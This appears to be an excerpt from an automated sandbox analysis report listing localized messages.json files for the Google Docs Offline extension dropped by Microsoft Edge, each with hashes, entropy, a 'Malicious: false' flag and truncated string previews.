Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
